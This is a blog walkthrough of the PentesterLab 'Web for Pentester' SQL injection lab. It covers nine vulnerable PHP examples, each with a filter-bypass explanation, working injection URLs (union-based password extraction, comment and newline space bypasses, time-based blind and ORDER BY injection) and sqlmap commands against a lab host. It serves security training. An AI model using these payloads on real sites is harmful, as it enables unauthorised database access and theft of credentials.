[PentesterLab] Web for Pentester - SQL Injection

“This course details all you need to know to start doing web penetration testing. PentesterLab tried to put together the basics of web testing and a summary of the most common vulnerabilities with the LiveCD to test them.” – PentesterLab

Due to this is quite a long course, I have to divide the course into several parts and this one is focus on SQL Injection attack. More information and ISO download please check here. The official course is highly recommanded to read.

Difficulty: 1 / 5

Example 1

Code review:

example1.php
1
2
3
4
5
6
7
<?php
    ... ...
  $sql = "SELECT * FROM users where name='";
  $sql .= $_GET["name"]."'";   
  $result = mysql_query($sql);
  ... ...
?>

There is no input validation on parameter $_GET[“name”], so I can exploit it directly with the injection payload: ' or 1=1-- -. After injection, the variable $sql will become SELECT * FROM users where name='' or 1=1-- -' which will return all the entries in table users.

PoC:

http://10.10.10.129/sqli/example1.php?name=root' or 1=1-- -

SQLMAP exploit:

sqlmap -u "http://10.10.10.129/sqli/example1.php?name=root" --dbs --banner

Example 2

Code review:

example2.php
1
2
3
4
5
6
7
8
9
10
11
<?php
    ... ...
  if (preg_match('/ /', $_GET["name"])) {
      die("ERROR NO SPACE");   
  }
  $sql = "SELECT * FROM users where name='";
  $sql .= $_GET["name"]."'";

  $result = mysql_query($sql);
  ... ...
?>

From the source code above, we know that the developer filtered SPACE in user input. However we can use comment /**/ or TAB/HT (%09, URL encoded) to bypass space filter.

PoC:

http://10.10.10.129/sqli/example2.php?name=root'%09and%09'1'='1

http://10.10.10.129/sqli/example2.php?name=root'/**/union/**/select/**/1,(select/**/name/**/from/**/users/**/limit/**/3,1),(select/**/passwd/**/from/**/users/**/limit/**/3,1),4,5/**/and/**/'1'='2

SQLMAP exploit: In sqlmap, we can set parameter “–tamper=space2comment” to replace space with comment.

sqlmap -u "http://10.10.10.129/sqli/example2.php?name=root" --dbs --tamper=space2comment

Example 3

Code review:

example3.php
1
2
3
4
5
6
7
8
9
10
11
<?php
    ... ...
  if (preg_match('/\s+/', $_GET["name"])) {
      die("ERROR NO SPACE");   
  }
  $sql = "SELECT * FROM users where name='";
  $sql .= $_GET["name"]."'";

  $result = mysql_query($sql);
  ... ...
?>

This time the developer use PCRE regex (\s+) to filter one or more sequential spaces (which including TAB/HT). However, I still can use comment /**/ to bypass this filter.

PoC:

http://10.10.10.129/sqli/example3.php?name=root'/**/union/**/select/**/1,(select/**/name/**/from/**/users/**/limit/**/3,1),(select/**/passwd/**/from/**/users/**/limit/**/3,1),4,5/**/and/**/'1'='2

SQLMAP exploit:

sqlmap -u "http://10.10.10.129/sqli/example3.php?name=root" --dbs --tamper=space2comment

Example 4

Code review:

example4.php
1
2
3
4
5
6
7
<?php
    ... ...
  $sql="SELECT * FROM users where id=";
  $sql.=mysql_real_escape_string($_GET["id"])." ";
  $result = mysql_query($sql);
  ... ...
?>

This time the developer use function “mysql_real_escape_string” to prevent SQL injection from the following characters \x00, \n, \r, \, ', " and \x1a

However, in this case, ‘id’ is used as integrate number which is not quoted by ', it is still vulnerable to SQL injection.

PoC:

http://10.10.10.129/sqli/example4.php?id=2 or 1=1

SQLMAP exploit:

sqlmap -u "http://10.10.10.129/sqli/example4.php?id=2" --dbs

Example 5

Code review:

example5.php
1
2
3
4
5
6
7
8
9
10
11
<?php
    ... ...
  if (!preg_match('/^[0-9]+/', $_GET["id"])) {
      die("ERROR INTEGER REQUIRED");   
  }
  $sql = "SELECT * FROM users where id=";
  $sql .= $_GET["id"] ;
  
  $result = mysql_query($sql);
  ... ...
?>

“I guess the beginning of the story …… But I didn’t expect the end of the story.” – Shakespeare

The incorrect regular expression failed to protect SQL injection, it only make sure the input of id is start from integrate number but it could be followed by everything.

PoC:

http://10.10.10.129/sqli/example5.php?id=2 or 1=1

SQLMAP exploit:

sqlmap -u "http://10.10.10.129/sqli/example5.php?id=2" --dbs

Example 6

Code review:

example6.php
1
2
3
4
5
6
7
8
9
10
11
<?php
    ... ...
  if (!preg_match('/[0-9]+$/', $_GET["id"])) {
      die("ERROR INTEGER REQUIRED");   
  }
  $sql = "SELECT * FROM users where id=";
  $sql .= $_GET["id"] ;

  $result = mysql_query($sql);
  ... ...
?>

The incorrect regular expression failed to protect SQL injection, it only make sure the input of id is end by integrate number but the injection still happened.

PoC:

http://10.10.10.129/sqli/example6.php?id=2 or 1=1

SQLMAP exploit:

sqlmap -u "http://10.10.10.129/sqli/example6.php?id=2" --dbs

Example 7

Code review:

example7.php
1
2
3
4
5
6
7
8
9
10
11
<?php
    ... ...
  if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
      die("ERROR INTEGER REQUIRED");   
  }
  $sql = "SELECT * FROM users where id=";
  $sql .= $_GET["id"];
  
  $result = mysql_query($sql);
  ... ...
?>

This time the beginning and the end of the string are correctly checked but due to the regular expression contains the PRCE_MULTILINE modifier (m), it makes the regex filter can be bypassed only match one line, does not matter the start or the end. So the SQL injection still happened in following ways.

PoC:

http://10.10.10.129/sqli/example7.php?id=2%0a or 1=1

http://10.10.10.129/sqli/example7.php?id=2 or 123=%0a123

http://10.10.10.129/sqli/example7.php?id=2 or %0a123=%0a123

SQLMAP exploit:

sqlmap -u "http://10.10.10.129/sqli/example7.php?id=2%0a*" --dbs

Example 8

Code review:

example8.php
1
2
3
4
5
6
7
<?php
    ... ...
  $sql = "SELECT * FROM users ORDER BY `";
  $sql .= mysql_real_escape_string($_GET["order"])."`";
  $result = mysql_query($sql);
  ... ...
?>

From the source code above, we need to inject payload into “order by” statement. Due to the function “extractvalue” does not work here, the error information will not display, I have to choose Time-based blind injection.

PoC:

// the page will delay 5 seconds, it means the first character of database() is ‘e’ http://10.10.10.129/sqli/example8.php?order=id,(select sleep(5) from dual where ASCII(substring(database(),1,1)) = 101)%23`

// the page will display immediately, it means the first character of database() is not ‘f’ http://10.10.10.129/sqli/example8.php?order=id,(select sleep(5) from dual where ASCII(substring(database(),1,1)) = 102)%23`

Here I use mysql default null table DUAL to construct the payload.

SQLMAP exploit:

sqlmap -u "http://10.10.10.129/sqli/example8.php?order=id%60*" --dbs --batch

Example 9

Code review:

example9.php
1
2
3
4
5
6
7
<?php
    ... ...
  $sql = "SELECT * FROM users ORDER BY ";
      $sql .= mysql_real_escape_string($_GET["order"]);
  $result = mysql_query($sql);
  ... ...
?>

Thanks to there is no back-tick (`), we have more options to exploit “ORDER BY” injection. rather than time-based blind injection, we can use IF function to construct error-based injection here.

PoC:

// the page will order by name, it means the first character of database() is ‘e’ http://10.10.10.129/sqli/example9.php?order=if((ASCII(substring(database(),1,1))=101),name,age)

// the page will order by age, it means the first character of database() is not ‘f’ http://10.10.10.129/sqli/example9.php?order=if((ASCII(substring(database(),1,1))=102),name,age)

SQLMAP exploit:

sqlmap -u "http://10.10.10.129/sqli/example9.php?order=id" --dbs --batch

To be continued…

2015-05-22 19:53:28 +1000